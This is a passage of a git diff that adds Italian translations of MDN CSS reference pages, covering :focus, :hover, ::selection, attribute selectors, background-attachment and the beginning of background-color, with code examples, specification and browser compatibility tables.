+<pre class="brush: html no-line-numbers">&lt;input class="red-input" value="I'll be red when focused."&gt;&lt;br&gt;
+&lt;input class="blue-input" value="I'll be blue when focused."&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[1, 6]">.red-input:focus {
+  background: yellow;
+  color: red;
+}
+
+.blue-input:focus {
+  background: yellow;
+  color: blue;
+}</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Interessi_per_lAccessibilità">Interessi per l'Accessibilità</h2>
+
+<p>Assicuratevi che l'indicatore visivo dello stato di focus possa essere visto da persone con problemi di vista. Ciò favorirà anche tutti coloro che utilizzano uno schermo in uno spazio molto illuminato (come all'aperto sotto il sole). Lo <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">standard di contrasto non testuale WCAG 2.1 SC 1.4.11</a> richiede che l'indicatore visivo del focus sia almeno di 3 ad 1.</p>
+
+<ul>
+ <li>Indicatori visivi di focus accessibili: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li>
+</ul>
+
+<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3>
+
+<p>Non eliminate mai semplicemente l'outline del focus (indicatore visibile del focus) senza rimpiazzarlo con un outline che passi lo <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">standard di contrasto non testuale WCAG 2.1 SC 1.4.11</a></p>
+
+<ul>
+  <li>Suggerimento veloce: <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Never remove CSS outlines</a></li>
+</ul>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Definisce semantiche specifiche HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Nessun cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Nessun cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se volete contribuire ai dati, per piacere controllate <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e mandateci una pull request.</div>
+
+<p>{{Compat("css.selectors.focus")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+</ul>
diff --git a/files/it/web/css/_colon_hover/index.html b/files/it/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..3409a3d188
--- /dev/null
+++ b/files/it/web/css/_colon_hover/index.html
@@ -0,0 +1,99 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+translation_of: 'Web/CSS/:hover'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classe</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:hover</code></strong> corrisponde quando l'utente interagisce con un elemento utilizzando una periferica di puntamento, ma non necessariamente lo attiva. È generalmente innescato quando l'utente passa sopra un elemento con il cursore (puntatore del mouse).</p>
+
+<pre class="brush: css no-line-numbers">/* Seleziona qualsiasi elemento &lt;a&gt; quando "hovered" */
+a:hover {
+  color: orange;
+}</pre>
+
+<p>Gli stili definiti dalla pseudo-classe <code>:active</code> saranno annullati da qualsiasi pseudo-classe relativa ai link susseguente ({{ cssxref(":link") }}, {{ cssxref(":visited") }}, o {{ cssxref(":active") }}) che abbia almeno uguale specificità. Per dare stile ai link nel modo appropriato, aggiungete la regola <code>:hover</code> dopo le regole <code>:link</code> e <code>:visited</code> ma prima di quella <code>:active</code>, così come definito nell'<em>ordine LVHA</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note"><strong>Nota</strong>: La pseudo-classe <code>:hover</code> è problematica sugli schermo touch. A seconda del browser, la pseudo-classe <code>:hover</code> potrebbe non corrispondere mai, corrispondere solo per un attimo dopo il tocco di un elemento, oppure continuare a corrispondere anche dopo che l'utente ha finito di toccare e finché non tocca un altro elemento. Gli sviluppatori Web dovrebbero assicurarsi che il contenuto sia accessibile sui dispositivi con capacità di hovering limitate o inesistenti.</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempio_base">Esempio base</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;a href="#"&gt;Try hovering over this link.&lt;/a&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+  background-color: powderblue;
+  transition: background-color .5s;
+}
+
+a:hover {
+  background-color: gold;
+}</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>{{EmbedLiveSample("Basic_example")}}</p>
+
+<h3 id="Gallery_di_immagini">Gallery di immagini</h3>
+
+<p>Potete usare la pseudo-classe <code>:hover</code> per costruire una gallery di immagini con immagini a grandezza naturale che vengono mostrate solo quando il mouse si muove sopra un'anteprima. Provate <a class="internal" href="/@api/deki/files/6247/=css-gallery.zip" title="css-gallery.zip">questa demo</a> per una possibile indicazione.</p>
+
+<div class="note"><strong>Nota:</strong> Per un effetto analogo, ma basato sulla pseudo-classe <a class="internal" href="/en-US/docs/Web/CSS/%3Achecked"><code>:checked</code></a> (applicata a radiobox nascosti), vedete <a class="internal" href="/@api/deki/files/6268/=css-checked-gallery.zip" title="css-checked-gallery.zip">questa demo</a>, presa dalla pagina di riferimento di <a class="internal" href="/en-US/docs/Web/CSS/:checked">:checked</a>.</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifican</th>
+   <th scope="col">Commento</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-hover', ':hover') }}</td>
+   <td></td>
+   <td><a href="https://github.com/whatwg/html/issues">WHATWG HTML GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td>
+   <td>Permete che <code>:hover</code> venga applicato ad ogni pseudo-elemento.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td>
+   <td>Definizione iniziale.</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se si vuole contribuire ai dati, per piacere verificate <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviate una pull request.</div>
+
+<p>{{Compat("css.selectors.hover")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium bug #370155: Don't make <code>:hover</code> sticky on tap on sites that set a mobile viewport</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium bug #306581: Immediately show hover and active states on touch when page isn't scrollable.</a></li>
+</ul>
diff --git a/files/it/web/css/_doublecolon_selection/index.html b/files/it/web/css/_doublecolon_selection/index.html
new file mode 100644
index 0000000000..f6b264012b
--- /dev/null
+++ b/files/it/web/css/_doublecolon_selection/index.html
@@ -0,0 +1,134 @@
+---
+title: '::selection'
+slug: 'Web/CSS/::selection'
+translation_of: 'Web/CSS/::selection'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Lo pseudo-elemento CSS <code>::selection applica regole alla porzione di un documento che è stato evidenziato (es. con il mouse o con altri dispositivi di puntamento) dall'utente.</code></p>
+
+<p>Solo un piccolo sottoinsieme di proprietà CSS possono essere usati in una regola che usa <code>::selection nel suo selettore:</code> {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("cursor")}}, {{cssxref("outline")}}, {{cssxref("text-decoration")}}, {{cssxref("text-emphasis-color")}} and {{cssxref("text-shadow")}}. Si noti, in particolare, che {{cssxref("background-image")}} viene ignorato, come qualsiasi altra proprietà.</p>
+
+<div class="note">
+<p><code>text-shadow</code> in <code>::selection</code> è supportato da Chrome, Safari e Firefox 17+.</p>
+</div>
+
+<div class="note">Benché presente nelle bozze dei selettori CSS di livello 3, questo pseudo-elemento fu rimosso durante la fase del Candidate Recommendation, in quanto il suo comportamento apparve come insufficiente, specialmente negli elementi nidificati, e la sua interoperabilità non venne raggiunta. <a class="external" href="http://lists.w3.org/Archives/Public/www-style/2008Oct/0268.html">(based on discussion in the W3C Style mailing list)</a>.<br>
+<br>
+Lo pseudo-elemento <code>::selection</code> venne in seguito riaggiunto in <a href="http://dev.w3.org/csswg/css-pseudo-4/">Pseudo-Elements Level 4</a>.</div>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Gecko è l'unico motore che richiede il prefisso. A causa del fatto che le regole di analisi CSS richiedono l'abbandono dell'intera regola quando si incontra uno pseudo-elemento non valido, devono essere scritte due regole distinte: <code>::-moz-selection, ::selection {...}</code>. La regola verrà eliminata sui browser non-Gecko in quanto <code>::-moz-selection</code> non è valido per questi ultimi.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;Ecco un po' di testo per testare la pseudo-classe di ::selection.&lt;/div&gt;
+&lt;p&gt;Prova anche questo testo per <em>&lt;p&gt;</em>&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* rende giallo qualsiasi testo selezionato, su sfondo rosso  */
+::-moz-selection {
+  color: gold; background: red;
+}
+
+::selection {
+  color: gold; background: red;
+}
+
+/* rende bianco il testo selezionato, su sfondo nero */
+p::-moz-selection {
+  color: white;
+  background: black;
+}
+
+p::selection {
+  color: white;
+  background: black;
+}</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{ EmbedLiveSample('Esempio', '', '', '', 'Web/CSS/::selection') }}</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-selection', '::selection')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Lo pseudo-elemento <code>::selection </code>ma questo venne rimosso prima di poter raggiungere lo status di <em>Recommendation</em>. Venne in seguito riaggiunto come parte delle bozze degli pseudo-elementi di livello 4.</p>
+
+<h2 id="Compatibilità_nei_Browser">Compatibilità nei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 {{property_prefix("-moz")}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>9.5</td>
+   <td>1.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Attualmente Gecko supporta solamente la versione <em>prefissata</em> ::-moz-selection. Sarà resa senza prefisso in {{bug(509958)}}.</p>
diff --git a/files/it/web/css/attribute_selectors/index.html b/files/it/web/css/attribute_selectors/index.html
new file mode 100644
index 0000000000..05617722a3
--- /dev/null
+++ b/files/it/web/css/attribute_selectors/index.html
@@ -0,0 +1,239 @@
+---
+title: Attribute selectors
+slug: Web/CSS/Attribute_selectors
+tags:
+  - CSS
+  - Reference
+  - Selettori
+  - Selettori di attributo
+translation_of: Web/CSS/Attribute_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>Il <strong>selettore di attributo</strong> CSS corrisponde agli elementi in base alla presenza o al valore di un dato attributo.</p>
+
+<pre class="brush: css no-line-numbers">/* Elemento &lt;a&gt; con un attributo title */
+a[title] {
+  color: purple;
+}
+
+/* Elemento &lt;a&gt; con un href uguale a "https://example.org" */
+a[href="https://example.org"] {
+  color: green;
+}
+
+/* Elemento &lt;a&gt; con un href contenente "example" */
+a[href*="example"] {
+  font-size: 2em;
+}
+
+/* Elemento &lt;a&gt; con un href che finisce con ".org" */
+a[href$=".org"] {
+  font-style: italic;
+}
+
+/* Elemento &lt;a&gt; il cui attributo classe contiene la parola "logo" */
+a[class~="logo"] {
+  padding: 2px;
+}</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em>.</dd>
+ <dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em> il cui valore è esattamente <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em> il cui valore è una lista di parole separate da spazi, una delle quali è esattamente <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em> il cui valore può essere esattamente <em>value</em> o può iniziare con <em>value</em> immediatamente seguito da un trattino, <code>-</code> (U+002D). È spesso usato per corrispondenze di subcode di linguaggio.</dd>
+ <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em> il cui valore è il prefisso (è preceduto da) di <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em> il cui valore è il suffisso (è seguito da) di <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
+ <dd>Rappresenta elementi con un nome di attributo <em>attr</em> il cui valore contiene almeno una presenza di <em>value</em> all'interno della stringa.</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> i]</code></dt>
+ <dd>Aggiungere una <code>i</code> (o <code>I</code>) prima della parentesi di chiusura fa sì che il valore sia comparato senza distinzione tra maiuscole e minuscole (per caratteri entro il range ASCII).</dd>
+ <dt id="case-sensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> s]</code> {{Experimental_Inline}}</dt>
+ <dd>Aggiungere una <code>s</code> (o <code>S</code>) prima della parentesi di chiusura fa sì che il valore sia comparato con sensibilità alle maiuscole ( per caratteri entro il range ASCII).</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Links">Links</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+  color: blue;
+}
+
+/* Link interni che iniziano con "#" */
+a[href^="#"] {
+  background-color: gold;
+}
+
+/* Link con "example" in qualsiasi punto dell'URL */
+a[href*="example"] {
+  background-color: silver;
+}
+
+/* Link con "insensitive" in qualsiasi punto dell'URL,
+   a prescindere dalla capitalizzazione*/
+a[href*="insensitive" i] {
+  color: cyan;
+}
+
+/* Link con "cAsE" in qualsiasi punto dell'URL,
+con precisa capitalizzazione */
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Link che finiscono con ".org" */
+a[href$=".org"] {
+  color: red;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#internal"&gt;Internal link&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.com"&gt;Example link&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="#InSensitive"&gt;Insensitive internal link&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.org"&gt;Example org link&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>{{EmbedLiveSample("Links")}}</p>
+
+<h3 id="Linguaggi">Linguaggi</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Tutti i div con attributo `lang` sono bold. */
+div[lang] {
+  font-weight: bold;
+}
+
+/* Tutti i div senza un attributo `lang` sono italicized. */
+div:not([lang]) {
+  <span class="st">font-style: italic;</span>
+}
+
+/* Tutti i div in Inglese US sono blu. */
+div[lang~="en-us"] {
+  color: blue;
+}
+
+/* Tutti i div in Portoghese sono verdi. */
+div[lang="pt"] {
+  color: green;
+}
+
+/* Tutti i div in Cinese sono rossi, sia che siano
+   in cinese semplificato (zh-CN) o tradizionale (zh-TW). */
+div[lang|="zh"] {
+  color: red;
+}
+
+/* Tutti i div con un
+   `data-lang` in Cinese tradizionale sono viola. */
+/* Nota: Gli attributi con trattino possono essere usati
+  senza virgolette */
+div[data-lang="zh-TW"] {
+  color: purple;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/div&gt;
+&lt;div lang="pt"&gt;Olá Mundo!&lt;/div&gt;
+&lt;div lang="zh-CN"&gt;世界您好！&lt;/div&gt;
+&lt;div lang="zh-TW"&gt;世界您好！&lt;/div&gt;
+&lt;div data-lang="zh-TW"&gt;世界您好！&lt;/div&gt;
+</pre>
+
+<h4 id="Risultati">Risultati</h4>
+
+<p>{{EmbedLiveSample("Languages")}}</p>
+
+<h3 id="Liste_ordinate_HTML">Liste ordinate HTML</h3>
+
+<p>La specifica HTML richiede che l'attributo {{htmlattrxref("type", "input")}} venga definito senza distinzione maiuscole-minuscole poiché esso è principalmente usato in elementi HTML {{HTMLElement("input")}}, provare ad usare selettori di attributo con l'attributo {{htmlattrxref("type", "ol")}} di un {{HTMLElement("ol", "ordered list")}} non funziona senza il modificatore <a href="#case-sensitive">case-sensitive</a>.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">/* I tipi di lista richiedono un modificatore sensibile alle maiuscole a causa di una stranezza nel modo in cui l'HTML gestisce l'attributo type. */
+ol[type="a"] {
+  list-style-type: lower-alpha;
+  background: red;
+}
+
+ol[type="a" s] {
+  list-style-type: lower-alpha;
+  background: lime;
+}
+
+ol[type="A" s] {
+  list-style-type: upper-alpha;
+  background: lime;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;ol type="A"&gt;
+  &lt;li&gt;Example list&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="Risultato_2">Risultato</h4>
+
+<p>{{EmbedLiveSample("HTML_ordered_lists")}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#attribute-selectors", "attribute selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Aggiunge il modificatore per la selezione di valori ASCII case-sensitive e case-insensitive negli attributi.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#attribute-selectors", "attribute selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#attribute-selectors", "attribute selectors")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div class="hidden">La tabella di compatibilità di questa pagina è generata da dati strutturati. Se vorresti contribuire ai dati, per piacere visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e proponici una pull request.</div>
+
+<p>{{Compat("css.selectors.attribute")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{CSSxRef("attr")}}</li>
+ <li>Selecting a single element: {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}}, or {{DOMxRef("Element.querySelector()")}}</li>
+ <li>Selecting all matching elements: {{DOMxRef("Document.querySelectorAll()")}}, {{DOMxRef("DocumentFragment.querySelectorAll()")}}, or {{DOMxRef("Element.querySelectorAll()")}}</li>
+ <li>The above methods are all implemented based on the {{DOMxRef("ParentNode")}} mixin; see {{DOMxRef("ParentNode.querySelector()")}} and {{DOMxRef("ParentNode.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/it/web/css/background-attachment/index.html b/files/it/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..2f4615c65c
--- /dev/null
+++ b/files/it/web/css/background-attachment/index.html
@@ -0,0 +1,135 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+translation_of: Web/CSS/background-attachment
+---
+<p>&lt;&lt; <a href="it/Guida_di_riferimento_ai_CSS">Guida di riferimento ai CSS</a></p>
+
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+
+<p>Se è stata specificata una <code><a href="it/CSS/background-image">background-image</a></code>, la proprietà <code>background-attachment</code> determina se l'immagine è fissa o può scorrere all'interno dell'elemento al quale è assegnata.</p>
+
+<ul>
+ <li>Valore iniziale: scroll</li>
+ <li>Si applica a: tutti gli elementi</li>
+ <li>Eredità: no</li>
+ <li>valori percentuali: non applicabile</li>
+ <li>Media: <code><a href="it/CSS/Media/Visual">visual</a></code></li>
+ <li>Valore calcolato: come specificato</li>
+</ul>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">background-attachment: scroll | fixed | inherit
+</pre>
+
+<h3 id="Valori" name="Valori">Valori</h3>
+
+<dl>
+ <dt>scroll </dt>
+ <dd>Se <code>scroll</code> viene specificato, l'immagine di sfondo può scorrere all'interno dell'elemento al quale è assegnata</dd>
+ <dt>fixed </dt>
+ <dd>Se <code>fixed</code> viene specificato, l'immagine di sfondo è fissa nell'elemento che la contiene</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Simple_example")}}</p>
+
+<h3 id="Multiple_background_image_support">Multiple background image support</h3>
+
+<p>This property supports multiple background images. You can specify a different <code>&lt;attachment&gt;</code> for each background, separated by commas. Each image is matched with the corresponding attachment type, from first specified to last.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Multiple_background_image_support")}}</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-attachment">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-attachment">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-attachment">CSS 3</a></li>
+</ul>
+
+<h3 id="Compatibilit.C3.A0_con_i_browser" name="Compatibilit.C3.A0_con_i_browser">Compatibilità con i browser</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Versione minima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Si_veda_anche" name="Si_veda_anche">Si veda anche</h3>
+
+<p><code><a href="it/CSS/background">background</a></code>, <code><a href="it/CSS/background-color">background-color</a></code>, <code><a href="it/CSS/background-image">background-image</a></code>, <code><a href="it/CSS/background-position">background-position</a></code>, <code><a href="it/CSS/background-repeat">background-repeat</a></code></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/background-attachment", "fr": "fr/CSS/background-attachment", "pl": "pl/CSS/background-attachment" } ) }}</p>
diff --git a/files/it/web/css/background-color/index.html b/files/it/web/css/background-color/index.html
new file mode 100644
index 0000000000..536eb0b3f1
--- /dev/null
+++ b/files/it/web/css/background-color/index.html
@@ -0,0 +1,86 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+translation_of: Web/CSS/background-color
+---
+<p>&lt;&lt; <a href="/it/Guida_di_riferimento_ai_CSS" title="it/Guida_di_riferimento_ai_CSS">Guida di riferimento ai CSS</a></p>
+
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+
+<p>La proprietà <code>background-color</code> imposta il colore di sfondo di un elemento tramite un valore esadecimale, tramite un nome di colore valido in inglese, oppure tramite la parola chiave <code>transparent</code> o <code>inherit</code>.</p>
+
+<ul>
+ <li>Valore iniziale: transparent</li>
+ <li>Si applica a: tutti gli elementi</li>
+ <li>Eredità: no</li>
+ <li>Valori percentuali: non applicabile</li>
+ <li>Media: <code><a href="/it/CSS/Media/Visual" title="it/CSS/Media/Visual">visual</a></code></li>
+ <li>Valore calcolato: come specificato</li>
+</ul>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">background-color: <em>color</em> | transparent | inherit
+</pre>
+
+<h3 id="Valori" name="Valori">Valori</h3>
+
+<dl>
+ <dt>color </dt>
+ <dd>Il colore può essere specificato come valore RGB esadecimale, oppure utilizzando un nome di colore predefinito in inglese.</dd>
+ <dt>transparent </dt>
+ <dd>Il valore iniziale di <code>background-color</code> è <code>transparent</code>, il che significa che l'elemento non ha un proprio colore, ma è trasparente.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
